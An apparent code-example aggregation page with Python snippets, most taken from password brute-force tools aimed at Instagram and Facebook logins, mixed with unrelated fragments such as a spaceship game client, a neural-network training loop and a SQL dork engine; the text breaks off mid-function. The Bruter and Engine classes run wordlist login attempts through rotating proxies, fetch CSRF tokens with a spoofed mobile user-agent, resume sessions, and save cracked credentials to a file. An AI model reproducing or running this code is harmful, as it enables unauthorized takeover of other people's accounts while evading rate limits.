Esempio n. 1
0
    def __init__(self, username: str, wordlist: str, threads: int, verbose: bool = False) -> None:

        # Consts
        self.verbose = verbose
        self.max_proxies = threads
        self.proxies_browsers = {}
        self.username = username.title()
        self.max_browsers = const.MAX_ATTEMPT_PROXY

        # Objects
        self.display = Display()
        self.proxies = Proxies()
        self.local_passwords = deque()
        self.expired_proxies = Queue()
        self.passwords = Password(username, wordlist)

        # States
        self.attempts = 0
        self.is_alive = True
        self.csrftoken = None
        self.active_browsers = 0
        self.account_password = None

        # Locks
        self.lock_display = RLock()
        self.lock_csrftoken = RLock()
        self.lock_passwords = RLock()
        self.lock_local_passwords = RLock()
        self.lock_expired_proxies = RLock()
        self.lock_proxies_browsers = RLock()
Esempio n. 2
0
    def __init__(self, username: str, threads: int, passlist_path: str):

        self.is_alive = True
        self.is_found = False

        self.password: str = None
        self.username: str = username
        self.last_password: str = None

        self.bots_per_proxy = 0
        self.total_threads: int = threads

        self.proxy_manager = ProxyManager()
        self.display = Display(username, passlist_path)
        self.password_manager = PasswordManager(username, passlist_path,
                                                threads, self.display)

        self.browsers: typing.List[Browser] = []
        self.active_passwords: typing.List[str] = []
        self.unstarted_browsers: typing.List[Browser] = []

        # Locks
        self.lock_browsers = threading.RLock()
        self.lock_unstarted_browsers = threading.RLock()

        self.lock_active_passwords = threading.RLock()
        self.lock_password_manager = threading.RLock()
Esempio n. 3
0
 def __init__(self, username, threads, passlist_path):
     self.bruter = None
     self.resume = False
     self.is_alive = True
     self.threads = threads
     self.username = username
     self.display = Display()
     self.passlist_path = passlist_path
Esempio n. 4
0
 def __init__(self, username, threads, passlist_path, is_color):
     self.resume = False
     self.is_alive = True
     self.threads = threads
     self.username = username
     self.passlist_path = passlist_path
     self.display = Display(is_color=is_color)
     self.bruter = Bruter(username, threads, passlist_path)
Esempio n. 5
0
 def __init__(self, username, threads, passlist_path):
     self.browsers = []
     self.lock = RLock()
     self.password = None
     self.is_alive = True
     self.is_found = False
     self.bots_per_proxy = 0
     self.username = username
     self.last_password = None
     self.active_passwords = []
     self.proxy_manager = ProxyManager()
     self.display = Display(username, passlist_path)
     self.password_manager = PasswordManager(username,
                                             passlist_path, threads)
Esempio n. 6
0
    def __init__(self, config):
        name = config.get('player', 'name')
        spaceship = config.get('player', 'spaceship')

        self.chat = ChatClient()
        self.display = Display()
        self.ui = UI()
        int_colors, ext_colors = {}, {}
        obj_defs = open('dat/int_obj_colors.txt', 'rb').read().split('\n')
        for line in obj_defs:
            if len(line):
                char, color = line.split('|')
                int_colors[char] = eval(color)
        obj_defs = open('dat/ext_obj_colors.txt', 'rb').read().split('\n')
        for line in obj_defs:
            if len(line):
                char, color = line.split('|')
                ext_colors[char] = eval(color)
        self.ui.set_default_colors(int_colors, ext_colors)

        self.evt_mode, self.evt_mode_desc = 'normal', ''
        self.action = ('connect', (name, spaceship))
        self.arg_type = 'tuple_of_str'
        self.require_arg = False
        self.queued_evt = False
        self.prompt = ''
        ver = 'v0.3.1-alpha'
        self.top_status_bar = ' ' * (80 - len(ver)) + ver
        self.bottom_status_bar = ''
        self.view_field, self.colors = False, {}
        self.command = None
        self.look_pointer, self.target = None, None
        self.fps = 50
        self.blinker = 0
Esempio n. 7
0
class Test(TestCase):
    display = Display()

    @patch('builtins.input', side_effect=['GooG', 'FB', ''])
    def test_get_tickers(self, mock_inputs):
        self.display.ask_for_tickers()
        self.assertEqual(self.display.tickers, ['GOOG', "FB"])
Esempio n. 8
0
 def __init__(self, username, threads, passlist_path, is_color):  
     self.bruter = None 
     self.resume = False 
     self.is_alive = True 
     self.threads = threads
     self.username = username
     self.passlist_path = passlist_path
     self.display = Display(is_color=is_color)
     self.session = Session(username, passlist_path)
Esempio n. 9
0
    def __init__(self, username, wordlist, max_passwords=64) -> None:

        # Consts
        self.session = None
        self.wordlist = wordlist
        self.username = username
        self.display = Display()
        self.max_passwords = max_passwords
        self.total_lines = self.count_lines(wordlist)

        # States
        self.EOF = False  # end of file
        self.is_alive = True

        # resume
        self.attempts = 0
        self.resume = False

        # Storages
        self.passwords = deque()
Esempio n. 10
0
    def run_siamese(self, train_csv, config):
        data = Data()
        display = Display()
        data.run(train_csv,
                 n_train_samples=config.n_train_samples, 
                 n_validation_samples=config.n_validation_samples, 
                 embedding_matrix = config.embedding_matrix,
                 max_len = config.max_len,
                 embedding_dim=config.embedding_dim, 
                 train_x1 = config.train_x1,
                 train_x2 = config.train_x2,
                 contrastive=config.contrastive, 
                 save_embedding=config.save_embedding, 
                 save_train_data=config.save_train_data)
        with tf.Graph().as_default() as graph:
           config.model = config.model(data)
           writer = TensorBoard(graph=graph, logdir=config.logdir).writer
           output, loss, acc, train_summ, valid_summ, opt, merged = config.build_network(graph)
           init = tf.global_variables_initializer()
           with tf.Session(graph=graph) as sess:
               sess.run(init)
               for epoch in range(config.n_epochs):
                 train_iter_ = data.batch_generator(config.batch_size)
                 for batch_idx, batch in enumerate(tqdm(train_iter_)):
                    train_x1_batch, train_x2_batch, train_labels_batch = batch
                    _, batch_train_loss, batch_train_accuracy, batch_train_summary, _, summary = sess.run([output, loss, acc, train_summ, opt, merged], 
                                                                                    feed_dict={
                                                                                                config.model.network.x1 : train_x1_batch,
                                                                                                config.model.network.x2 : train_x2_batch,
                                                                                                config.model.loss.labels : train_labels_batch,
                                                                                                config.model.network.embedding_matrix : data.embedding_matrix
                                                                                              })
                    display.log_train(epoch, batch_idx, batch_train_loss, batch_train_accuracy)
                    writer.add_summary(batch_train_summary, batch_idx)

                    if config.calculate_validation:
                        if batch_idx % 100 == 0:
                            batch_valid_accuracy, batch_valid_summary = sess.run([acc, valid_summ], feed_dict={
                                                                                config.model.network.x1 : data.valid_x1,
                                                                                config.model.network.x2 : data.valid_x2,
                                                                                config.model.loss.labels : data.valid_labels,
                                                                                config.model.network.embedding_matrix : data.embedding_matrix
                                                                                })
                            display.log_validation(epoch, batch_idx, batch_valid_accuracy)
                            writer.add_summary(batch_valid_summary, batch_idx)
                    writer.add_summary(summary, batch_idx)
                    
        display.done()
Esempio n. 11
0
def init_Game_or_Original_scene():
    # Exécuté une seule fois
    init_tempo()
    init_objet()
    gl.dataInOPY = DataIn('localhost', gl.port_in, 1024, 0.01)
    gl.dataOutOPY = DataOut()
    gl.displayOPY = Display()
    init_audio()
    gl.music["bf2"].repeat()
    gl.refereeingOPY = Refereeing()
    # Active player
    gl.activ_player = [0, 1, 2, 3]
    # Init particulier pour la scène Original
    init_original_only()
Esempio n. 12
0
class Engine(object):
    def __init__(self, dork, write_over):
        self.dork = dork
        self.display = Display()
        self.sql = SQL(dork, write_over)

    def start(self):
        self.display.banner()
        self.display.primary('Dork Gir: ' + self.dork)

        try:
            self.sql.start()
        except KeyboardInterrupt:
            pass
        finally:
            self.stop()

    def stop(self):

        if self.sql:
            self.sql.stop()
        else:
            self.display.shutdown()
Esempio n. 13
0
class Engine(object):
    def __init__(self, username, threads, passlist_path, is_color):
        self.resume = False
        self.is_alive = True
        self.threads = threads
        self.username = username
        self.passlist_path = passlist_path
        self.display = Display(is_color=is_color)
        self.bruter = Bruter(username, threads, passlist_path)

    def get_user_resp(self):
        return self.display.prompt(
            "Would you like to resume the attack? [y/N]: ")

    def write_to_file(self, password):
        with open(credentials, "at") as f:
            data = "Username: {}\nPassword: {}\n\n".format(
                self.username.title(), password)
            f.write(data)

    def start(self):

        while self.is_alive and not self.bruter.password_manager.session:
            pass

        if not self.is_alive:
            return

        if self.bruter.password_manager.session.exists:
            try:
                resp = self.get_user_resp()
            except:
                self.is_alive = False

            if resp and self.is_alive:
                if resp.strip().lower() == "y":
                    self.bruter.password_manager.resume = True

        try:
            self.bruter.start()
        except KeyboardInterrupt:
            self.bruter.stop()
            self.bruter.display.shutdown(
                self.bruter.last_password,
                self.bruter.password_manager.attempts,
                len(self.bruter.browsers),
            )
        finally:
            self.stop()

    def stop(self):
        if self.is_alive:

            self.bruter.stop()
            self.is_alive = False

            if (self.bruter.password_manager.is_read
                    and not self.bruter.is_found
                    and not self.bruter.password_manager.list_size):
                self.bruter.display.stats_not_found(
                    self.bruter.last_password,
                    self.bruter.password_manager.attempts,
                    len(self.bruter.browsers),
                )

            if self.bruter.is_found:
                self.write_to_file(self.bruter.password)
                self.bruter.display.stats_found(
                    self.bruter.password,
                    self.bruter.password_manager.attempts,
                    len(self.bruter.browsers),
                )
Esempio n. 14
0
class GameClient(object):

    def __init__(self, config):
        name = config.get('player', 'name')
        spaceship = config.get('player', 'spaceship')

        self.chat = ChatClient()
        self.display = Display()
        self.ui = UI()
        int_colors, ext_colors = {}, {}
        obj_defs = open('dat/int_obj_colors.txt', 'rb').read().split('\n')
        for line in obj_defs:
            if len(line):
                char, color = line.split('|')
                int_colors[char] = eval(color)
        obj_defs = open('dat/ext_obj_colors.txt', 'rb').read().split('\n')
        for line in obj_defs:
            if len(line):
                char, color = line.split('|')
                ext_colors[char] = eval(color)
        self.ui.set_default_colors(int_colors, ext_colors)

        self.evt_mode, self.evt_mode_desc = 'normal', ''
        self.action = ('connect', (name, spaceship))
        self.arg_type = 'tuple_of_str'
        self.require_arg = False
        self.queued_evt = False
        self.prompt = ''
        ver = 'v0.3.1-alpha'
        self.top_status_bar = ' ' * (80 - len(ver)) + ver
        self.bottom_status_bar = ''
        self.view_field, self.colors = False, {}
        self.command = None
        self.look_pointer, self.target = None, None
        self.fps = 50
        self.blinker = 0

    def main(self):
        if self.action and not self.require_arg:
            command = getattr(self.command, 'queue_' + self.arg_type)
            command(self.action[0], self.action[1])
            self.action, self.arg_type = False, False
        if not self.view_field:
            return
        events = event.get(self.evt_mode)
        if events:
            self.evt_mode, evt, evt_arg, self.arg_type = events
        else:
            evt, evt_arg = None, None
        if self.evt_mode == 'normal' and len(self.evt_mode_desc):
            self.evt_mode_desc = ''
        if evt == 'quit':
            self.command.stop()
        elif evt == 'arg' and self.require_arg:
            self.action = (self.action, evt_arg) if evt_arg else 0
            self.evt_mode_desc = ''
            self.require_arg = False
        elif evt == 'activate':
            self.action = evt
            self.evt_mode_desc = 'Activate.. (direction)'
            self.require_arg = True
        elif evt == 'look':
            self.evt_mode_desc = 'Look... (direction)'
            self.action = (evt, evt_arg)
        elif evt == 'look_done':
            self.evt_mode_desc = ''
            self.action = (evt, evt_arg)
        elif evt == 'insert':
            self.prompt += evt_arg
        elif evt == 'backspace' and self.prompt:
            self.prompt = self.prompt[: - evt_arg]
        elif evt == 'return' and self.prompt:
            self.action = (self.queued_evt, self.prompt)
            self.queued_evt = False
            self.prompt, self.evt_mode, self.evt_mode_desc = '', 'normal', ''
        elif evt in ['say', 'equip', 'drop', 'unequip']:
            if evt == 'say':
                self.evt_mode_desc = 'Say...'
            elif evt == 'equip':
                self.evt_mode_desc = 'Equip... (item, slot)'
            elif evt == 'drop':
                self.evt_mode_desc = 'Drop... (item name)'
            elif evt == 'unequip':
                self.evt_mode_desc = 'Unequip... (slot)'
            self.queued_evt = evt
        elif (evt, evt_arg) != (None, None):
            self.action = (evt, evt_arg)

        self.blinker = self.blinker + 1 if self.blinker < self.fps else 0
        surface = self.ui.compose(
            self.view_field, self.colors,
            self.chat.get_log(), self.prompt,
            self.evt_mode, self.evt_mode_desc,
            self.bottom_status_bar, self.top_status_bar,
            self.target if self.blinker < self.fps / 2 else None,
            self.look_pointer if self.blinker < self.fps / 2 else None)
        self.display.draw(surface)
        self.display.update()

    #--------------------------------------------------------------------------
    # state accessors

    def add_chat_messages(self, messages):
        self.chat.add_multiple(messages)

    def set_bottom_status_bar(self, text):
        self.bottom_status_bar = text

    def set_command(self, command):
        self.command = command

    def set_look_pointer(self, (x, y)):
        self.look_pointer = (x, y)
        self.blinker = 0
Esempio n. 15
0
 def __init__(self, display=Display(), client_api=ClientApi()):
     self.display = display
     self.client_api = client_api
Esempio n. 16
0
def args():
    enable_colors = str(input('Enable colors? (default: y) [y/n]: '))

    if not enable_colors:
        enable_colors = True
    else:
        if enable_colors[0].lower() == 'n':
            enable_colors = False

    display = Display(is_color=enable_colors)
    username = display.prompt('Enter a username: '******'You can\'t leave this field empty')
        display.wait()
        exit()

    passlist = display.prompt('Enter the path to your password list: ')

    if not exists(passlist):
        display.warning('Invalid path to password list', False)
        display.wait()
        exit()

    display.info(
        '''Modes:\r
        0: => 512 passwords at a time
        1: => 256 passwords at a time
        2: => 128 passwords at a time
        3: => 64 passwords at a time
    ''', False)

    mode = display.prompt('Select a mode [0, 1, 2, 3]: ', False)

    if not mode.isdigit():
        display.warning('Mode must be a number', False)
        display.wait()
        exit()

    mode = int(mode)

    if int(mode) > 3:
        display.warning('Mode must be no more than 3', False)
        display.wait()
        exit()

    if int(mode) < 0:
        display.warning('Mode must bot no less than 0', False)
        display.wait()
        exit()

    return [username, passlist, mode]
Esempio n. 17
0
class Bruter(object):

    def __init__(self, username, threads, passlist_path):
        self.browsers = []
        self.lock = RLock()
        self.password = None
        self.is_alive = True
        self.is_found = False
        self.bots_per_proxy = 0
        self.username = username
        self.last_password = None
        self.active_passwords = []
        self.proxy_manager = ProxyManager()
        self.display = Display(username, passlist_path)
        self.password_manager = PasswordManager(username,
                                                passlist_path, threads)

    def manage_session(self):
        if self.password_manager.is_read:
            if not self.password_manager.list_size or self.is_found:
                self.password_manager.session.delete()
        else:
            if self.is_found:
                self.password_manager.session.delete()
            else:
                self.password_manager.session.write(self.password_manager.attempts,
                                                    self.password_manager.passlist)

    def browser_manager(self):
        while self.is_alive:

            for browser in self.browsers:

                if not self.is_alive:
                    break

                if Display.account_exists == None and Browser.account_exists != None:
                    Display.account_exists = Browser.account_exists

                if not browser.is_active:

                    password = browser.password

                    if browser.is_attempted and not browser.is_locked:

                        if browser.is_found and not self.is_found:
                            self.password = password
                            self.is_found = True

                        with self.lock:
                            self.password_manager.list_remove(password)
                    else:
                        with self.lock:
                            self.proxy_manager.bad_proxy(browser.proxy)

                    self.remove_browser(browser)

                else:
                    if browser.start_time:
                        if time() - browser.start_time >= max_time_to_wait:
                            browser.close()

    def remove_browser(self, browser):
        if browser in self.browsers:
            with self.lock:
                self.browsers.pop(self.browsers.index(browser))
                self.active_passwords.pop(
                    self.active_passwords.index(browser.password)
                )

    def attack(self):
        proxy = None
        is_attack_started = False
        while self.is_alive:

            browsers = []
            for password in self.password_manager.passlist:

                if not self.is_alive:
                    break

                if not proxy:
                    proxy = self.proxy_manager.get_proxy()
                    self.bots_per_proxy = 0

                if self.bots_per_proxy >= max_bots_per_proxy:
                    proxy = None

                if not proxy:
                    continue

                if not password in self.active_passwords and password in self.password_manager.passlist:
                    browser = Browser(self.username, password, proxy)
                    browsers.append(browser)
                    self.bots_per_proxy += 1

                    if not is_attack_started:
                        self.display.info('Starting attack ...')
                        is_attack_started = True

                    with self.lock:
                        self.browsers.append(browser)
                        self.active_passwords.append(password)

            for browser in browsers:
                thread = Thread(target=browser.attempt)
                thread.daemon = True
                try:
                    thread.start()
                except:
                    self.remove_browser(browser)

    def start_daemon_threads(self):
        attack = Thread(target=self.attack)
        browser_manager = Thread(target=self.browser_manager)
        proxy_manager = Thread(target=self.proxy_manager.start)
        password_manager = Thread(target=self.password_manager.start)

        attack.daemon = True
        proxy_manager.daemon = True
        browser_manager.daemon = True
        password_manager.daemon = True

        attack.start()
        proxy_manager.start()
        browser_manager.start()
        password_manager.start()

        self.display.info('Searching for proxies ...')

    def stop_daemon_threads(self):
        self.proxy_manager.stop()
        self.password_manager.stop()

    def start(self):
        self.display.info('Initiating daemon threads ...')
        self.start_daemon_threads()

        last_attempt = 0
        while self.is_alive and not self.is_found:

            if last_attempt == self.password_manager.attempts and self.password_manager.attempts:
                sleep(1.5)
                continue

            for browser in self.browsers:

                self.display.stats(
                    browser.password, self.password_manager.attempts, len(self.browsers))
                last_attempt = self.password_manager.attempts
                self.last_password = browser.password

                if not self.is_alive or self.is_found:
                    break

            if self.password_manager.is_read and not self.password_manager.list_size and not len(self.browsers):
                self.is_alive = False

    def stop(self):
        self.is_alive = False
        self.manage_session()
        self.stop_daemon_threads()
        self.password_manager.session.is_busy = False
Esempio n. 18
0
    if int(mode) > 3:
        display.warning('Mode must be no more than 3', False)
        display.wait()
        exit()

    if int(mode) < 0:
        display.warning('Mode must bot no less than 0', False)
        display.wait()
        exit()

    return [username, passlist, mode]


if __name__ == '__main__':
    try:
        user_input = args()
    except KeyboardInterrupt:
        exit()

    display = Display()
    username, passlist, mode = user_input

    try:
        Engine(username, modes[mode], passlist).start()
    except:
        pass
    finally:
        display.wait()
        exit()
Esempio n. 19
0
class Bruter:

    def __init__(self, username: str, wordlist: str, threads: int, verbose: bool = False) -> None:

        # Consts
        self.verbose = verbose
        self.max_proxies = threads
        self.proxies_browsers = {}
        self.username = username.title()
        self.max_browsers = const.MAX_ATTEMPT_PROXY

        # Objects
        self.display = Display()
        self.proxies = Proxies()
        self.local_passwords = deque()
        self.expired_proxies = Queue()
        self.passwords = Password(username, wordlist)

        # States
        self.attempts = 0
        self.is_alive = True
        self.csrftoken = None
        self.active_browsers = 0
        self.account_password = None

        # Locks
        self.lock_display = RLock()
        self.lock_csrftoken = RLock()
        self.lock_passwords = RLock()
        self.lock_local_passwords = RLock()
        self.lock_expired_proxies = RLock()
        self.lock_proxies_browsers = RLock()

    # Token

    def update_csrftoken(self) -> bool:
        '''Updates the csrftoken.

        Returns True when csrftoken has been updated successfully.
        '''

        csrftoken = ''

        try:
            csrftoken = requests.get(
                const.CSRFTOKEN_URL,
                headers={
                    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13F69 Instagram 8.4.0 (iPhone7,2; iPhone OS 9_3_2; nb_NO; nb-NO; scale=2.00; 750x1334'}
            ).cookies.get_dict()['csrftoken']

        except:
            return False

        if not csrftoken:
            return False

        with self.lock_csrftoken:
            self.csrftoken = csrftoken

        return True

    def manage_csrftokens(self) -> None:
        '''Manages csrftoken.
        '''

        # Get csrftoken
        while self.is_alive and not self.update_csrftoken():
            time.sleep(0.5)

        while self.is_alive:

            # Wait
            for _ in range(const.CSRFTOKEN_DELAY):

                if not self.is_alive:
                    break

                time.sleep(1)

            # Update csrftoken
            while self.is_alive and not self.update_csrftoken():
                time.sleep(0.5)

    def get_csrftoken(self) -> dict:
        '''Returns the csrftoken.
        '''

        with self.lock_csrftoken:
            return self.csrftoken

    # Proxies
    def manage_proxies(self) -> None:
        '''Sets up proxies to be used with browsers.
        '''

        while self.is_alive:

            while self.is_alive and len(self.proxies_browsers) < self.max_proxies:

                proxy = self.proxies.get_proxy()

                if not proxy:
                    break

                ip, port = proxy['https'].split('//')[-1].split(':')

                proxy_sig = '{}:{}'.format(ip, port)
                proxy_sig = hashlib.sha256(proxy_sig.encode()).hexdigest()

                if proxy_sig in self.proxies_browsers:
                    continue

                with self.lock_proxies_browsers:
                    self.proxies_browsers[proxy_sig] = Proxy(proxy)

            if self.is_alive:
                time.sleep(0.5)

    def manage_expired_proxies(self) -> None:
        '''Iterate through failed proxies and remove them from proxies_browsers.
        '''

        while self.is_alive:

            if self.expired_proxies.empty():
                time.sleep(0.5)
                continue

            with self.lock_expired_proxies:
                proxy_sig = self.expired_proxies.get()

            if not proxy_sig in self.proxies_browsers:
                continue

            with self.lock_proxies_browsers:
                browsers = list(self.proxies_browsers[proxy_sig].browsers)

            # Check if proxies is being used
            if not self.browsers_attempted(browsers):

                # Come back to it when it's not being used
                with self.lock_expired_proxies:
                    self.expired_proxies.put(proxy_sig)
                continue

            with self.lock_proxies_browsers:
                self.proxies_browsers.pop(proxy_sig)

    def get_proxy_signature(self) -> str:
        '''Returns the signature of the proxy with the least browsers.

        Returns an empty str when fails.
        '''

        proxy_sig = {'sig': '',  'amt': 0}

        for sig in list(self.proxies_browsers):

            try:
                proxy = self.proxies_browsers[sig]
            except KeyError:
                continue

            if proxy.is_expired:
                continue

            try:
                amt = len(self.proxies_browsers[sig].browsers)
            except KeyError:
                continue

            if amt >= self.max_browsers:
                continue

            if proxy.usage >= 18:

                with self.lock_expired_proxies:
                    self.expired_proxies.put(sig)
                continue

            if not proxy_sig['sig']:
                proxy_sig['sig'] = sig
                proxy_sig['amt'] = amt

            if proxy_sig['amt'] > amt and sig in self.proxies_browsers:
                proxy_sig['sig'] = sig
                proxy_sig['amt'] = amt

        return proxy_sig['sig']

    # Browsers
    def add_password(self, password: str) -> None:
        '''Add a password back into local_passwords.
        '''

        if not password in self.local_passwords:
            with self.lock_local_passwords:
                self.local_passwords.appendleft(password)

    def create_browsers(self, password: str, proxy_sig: str, csrftoken: str) -> None:
        '''Creates a browser and trys to execute it.
        '''

        try:
            proxy = self.proxies_browsers[proxy_sig].proxy
            browser = Browser(self.username, password, proxy, csrftoken)
        except KeyError:
            self.add_password(password)
            return

        try:
            Thread(target=browser.login, daemon=True).start()
            self.active_browsers += 1

            if self.verbose and self.is_alive:
                with self.lock_display:
                    print('[-] Trying: {} ...'.format(
                        password
                    ))
        except:
            return

        try:
            with self.lock_proxies_browsers:
                self.proxies_browsers[proxy_sig].add_browser(
                    browser
                )
        except:
            self.add_password(password)
            self.active_browsers -= 1

    def browsers_attempted(self, browsers: typing.List) -> bool:
        '''Returns True if all browsers have been attempted.
        '''

        for browser in browsers:
            if not self.is_alive:
                return False

            if not browser.is_attempted and not browser.proxy_failed:
                return False

            if not browser.is_processed:
                browser.is_processed = True

                self.add_password(browser.password)
                self.active_browsers -= 1

        return True

    def parse_resp(self, browser: Browser, proxy_sig: str) -> None:
        '''Parse the response of the browser.
        '''

        if not self.is_alive or browser.is_processed:
            return

        browser.is_processed = True

        if browser.is_authenticated:
            self.account_password = browser.password
        elif browser.password_attempted and not browser.proxy_failed:
            self.attempts += 1

        if browser.proxy_failed:

            proxy = self.proxies_browsers[proxy_sig]
            self.proxies.proxy_expired(browser.proxy)

            proxy.is_expired = True
            self.add_password(browser.password)

            with self.lock_expired_proxies:
                self.expired_proxies.put(proxy_sig)

        self.active_browsers -= 1

    def examine_browsers(self, proxy_sig: str, browsers: list) -> None:
        '''Go through each browser of a given proxy signature.
        '''

        for browser in browsers:

            if not self.is_alive:
                break

            if self.proxies_browsers[proxy_sig].is_expired:
                break

            time_elapsed = time.time() - browser.time_started

            if time_elapsed >= const.MAX_ATTEMPT_TIME:
                browser.proxy_failed = True

            if browser.is_attempted or browser.proxy_failed:

                self.proxies_browsers[proxy_sig].remove_browser(
                    browser
                )

                self.parse_resp(browser, proxy_sig)

    def manage_browsers(self) -> None:
        '''Iterates through each browser, and checks if it was attempted.
        '''

        while self.is_alive:

            self.lock_proxies_browsers.acquire()

            for proxy_sig in list(self.proxies_browsers):

                if not self.is_alive:
                    break

                browsers = list(self.proxies_browsers[proxy_sig].browsers)
                self.examine_browsers(proxy_sig, browsers)

            self.lock_proxies_browsers.release()
            time.sleep(0.1)

    # Passwords

    def manage_local_passwords(self) -> None:
        '''Keeps local passwords up to date.
        '''

        while self.is_alive:

            with self.lock_local_passwords:
                password_size = len(self.local_passwords)

            if password_size >= self.max_browsers * 2:
                continue

            if not self.is_alive:
                break

            password = self.passwords.get_password()

            if password:
                self.local_passwords.append(password)

    # Display
    def manage_status(self) -> None:
        '''Displays status.
        '''

        attempts = 0
        browsers = 0
        self.display.basic_info()

        if self.verbose:
            return

        while self.is_alive:

            if self.attempts == attempts and self.active_browsers == browsers:
                time.sleep(0.1)
                continue

            attempts = self.attempts
            browsers = self.active_browsers

            progress = (attempts / self.passwords.total_lines) * 100
            progress = round(progress, 2)

            print(
                f'[-] Username: {self.username}  ::  Attempts: {self.attempts:02d}  ::  Browsers: {self.active_browsers:02d}  ::  Progress: {progress}%.', end='\r'
            )

            time.sleep(0.1)

    # Session
    def manage_sessions(self) -> None:
        '''Auto-save the session every n seconds.
        '''

        last_attempt = 0

        while self.is_alive:

            for _ in range(const.SESSION_AUTOSAVE_TIME):

                if not self.is_alive:
                    break

                time.sleep(1)

            if last_attempt == self.attempts or not self.is_alive:
                time.sleep(0.1)
                continue

            last_attempt = self.attempts

            with self.lock_proxies_browsers:
                passwords = self.gather_passwords()

            if self.is_alive:
                self.passwords.session.write(
                    self.attempts, passwords
                )

    def gather_passwords(self) -> list:
        '''Returns a list of passwords within each browser and the local passwords list.
        '''

        passwords = deque()

        for proxy_sig in list(self.proxies_browsers):

            if not self.is_alive:
                break

            for browser in self.proxies_browsers[proxy_sig].browsers:

                if not self.is_alive:
                    break

                passwords.append(browser.password)

        return list(passwords) + list(self.local_passwords)

    # Shutdown

    def gather_passwords_remove(self) -> None:
        '''Iterates through browsers and adds the passwords from them into local_passwords.
        '''

        for proxy_sig in list(self.proxies_browsers):

            for browser in list(self.proxies_browsers[proxy_sig].browsers):

                password = browser.password

                if not password in self.local_passwords:
                    self.local_passwords.append(password)

                self.proxies_browsers[proxy_sig].browsers.popleft()

            self.proxies_browsers.pop(proxy_sig)

    def write_out(self) -> None:
        '''Write out the username and password to a file.
        '''

        with open(const.OUTPUT_FILE, 'at', encoding='utf-8') as f:

            f.write('Username: {}\nPassword: {}\n\n'.format(
                self.username, self.account_password
            ))

    def cleanup(self) -> None:
        '''Post execution.
        '''

        # Check if password is found
        if self.account_password:
            self.write_out()
            self.display.password_found(self.account_password)
        else:
            self.gather_passwords_remove()

        # Session
        if self.account_password or (not self.passwords.size() and not len(self.local_passwords)):
            self.passwords.session.delete()

        elif len(self.local_passwords):
            self.passwords.session.write(
                self.attempts, list(self.local_passwords)
            )

    # Main controls

    def manage_attacks(self) -> None:
        '''Where attacks are initated from. Central point.
        '''

        while self.is_alive:

            with self.lock_proxies_browsers:
                proxy_sig = self.get_proxy_signature()

            csrftoken = self.get_csrftoken()

            if not proxy_sig or not csrftoken or not proxy_sig in self.proxies_browsers:
                time.sleep(0.5)
                continue

            if not len(self.local_passwords):
                continue

            password = self.local_passwords.popleft()
            self.create_browsers(password, proxy_sig, csrftoken)

    def is_done(self, n=5) -> bool:
        '''Returns True when everything is done.
        '''

        with self.lock_proxies_browsers:

            for proxy_sig in self.proxies_browsers:

                if len(self.proxies_browsers[proxy_sig].browsers):
                    return False

        if self.active_browsers or not self.passwords.is_done():
            return False

        if len(self.local_passwords):
            return False

        if n:
            time.sleep(0.1)
            return self.is_done(n-1)

        return True

    def resume(self) -> None:
        '''Resume the attack.
        '''

        attempts, passwords = self.passwords.session.read()

        self.attempts = attempts
        self.passwords.resume = True
        self.passwords.attempts = attempts

        for password in passwords:
            self.passwords.put_password(password)

    def start(self) -> None:

        self.display.clear()

        # Check if a session already exists.
        if self.passwords.session.exists():

            # Ask to resume attack
            try:
                self.display.prompt('Do you want to resume? [Y/n]')
                user_input = input()

                if user_input.lower() == 'y':
                    self.resume()

                self.display.clear()
            except KeyboardInterrupt:
                self.display.danger('Exiting', '', '...', True)
                exit()

        core_tasks = [
            self.manage_status,
            self.manage_attacks,
            self.manage_proxies,
            self.passwords.start,
            self.manage_sessions,
            self.manage_browsers,
            self.manage_csrftokens,
            self.manage_local_passwords,
            self.manage_expired_proxies,
        ]

        for task in core_tasks:
            try:
                Thread(target=task, daemon=True).start()
            except:
                with self.lock_display:
                    self.display.danger('Error', ':', 'Failed to start', True)
                self.stop()
                break

        while self.is_alive and not self.account_password:
            try:
                if self.is_done():
                    break

                time.sleep(0.5)
            except KeyboardInterrupt:
                self.stop()

        self.stop()

    def stop(self) -> None:

        if not self.is_alive:
            return

        self.is_alive = False
        self.passwords.stop()
        time.sleep(1.5)

        progress = (self.attempts / self.passwords.total_lines) * 100
        progress = round(progress, 2)

        if not self.verbose:
            with self.lock_display:

                self.display.primary(
                    self.username,
                    self.attempts,
                    self.active_browsers,
                    progress
                )

        if not self.account_password:
            with self.lock_display:
                self.display.danger('Exiting', '', '...', True)

        if self.attempts:
            time.sleep(0.5)

            self.cleanup()
            time.sleep(1.5)
class Bruter:
    def __init__(self, service, username, threads, passlist_path):
        self.browsers = []
        self.lock = RLock()
        self.password = None
        self.is_alive = True
        self.is_found = False
        self.bots_per_proxy = 0
        self.service = service.casefold().strip()
        self.username = username
        self.last_password = None
        self.active_passwords = []
        self.proxy_manager = ProxyManager()
        self.display = Display(username, passlist_path)
        self.password_manager = PasswordManager(service, username,
                                                passlist_path, threads,
                                                self.display)

    def manage_session(self):
        if self.password_manager.is_read:
            if not self.password_manager.list_size or self.is_found:
                self.password_manager.session.delete()
        else:
            if self.is_found:
                self.password_manager.session.delete()
            else:
                self.password_manager.session.write(
                    self.password_manager.attempts,
                    self.password_manager.passlist)

    def browser_manager(self):
        while self.is_alive:
            for browser in self.browsers:
                if not self.is_alive:
                    break

                account_exists = self.create_browser(
                    None, None).__class__.account_exists
                if Display.account_exists is None and account_exists is not None:
                    Display.account_exists = account_exists

                if not browser.is_active:
                    password = browser.password
                    if browser.is_attempted and not browser.is_locked:
                        if browser.is_found and not self.is_found:
                            self.password = password
                            self.is_found = True

                        with self.lock:
                            self.password_manager.list_remove(password)
                    else:
                        with self.lock:
                            self.proxy_manager.bad_proxy(browser.proxy)

                    self.remove_browser(browser)

                else:
                    if browser.start_time:
                        if time() - browser.start_time >= max_time_to_wait:
                            browser.close()

    def remove_browser(self, browser):
        if browser in self.browsers:
            with self.lock:
                self.browsers.pop(self.browsers.index(browser))
                self.active_passwords.pop(
                    self.active_passwords.index(browser.password))

    def create_browser(self, password, proxy):
        from lib.browsers.instagram import InstagramBrowser
        from lib.browsers.facebook import FacebookBrowser

        if self.service == 'instagram':
            return InstagramBrowser(self.username, password, proxy)
        if self.service == 'facebook':
            return FacebookBrowser(self.username, password, proxy)
        else:
            self.display.warning('Browser not found for service {}'.format(
                self.service))
            raise RuntimeError('')

    def attack(self):
        proxy = None
        is_attack_started = False
        while self.is_alive:

            browsers = []
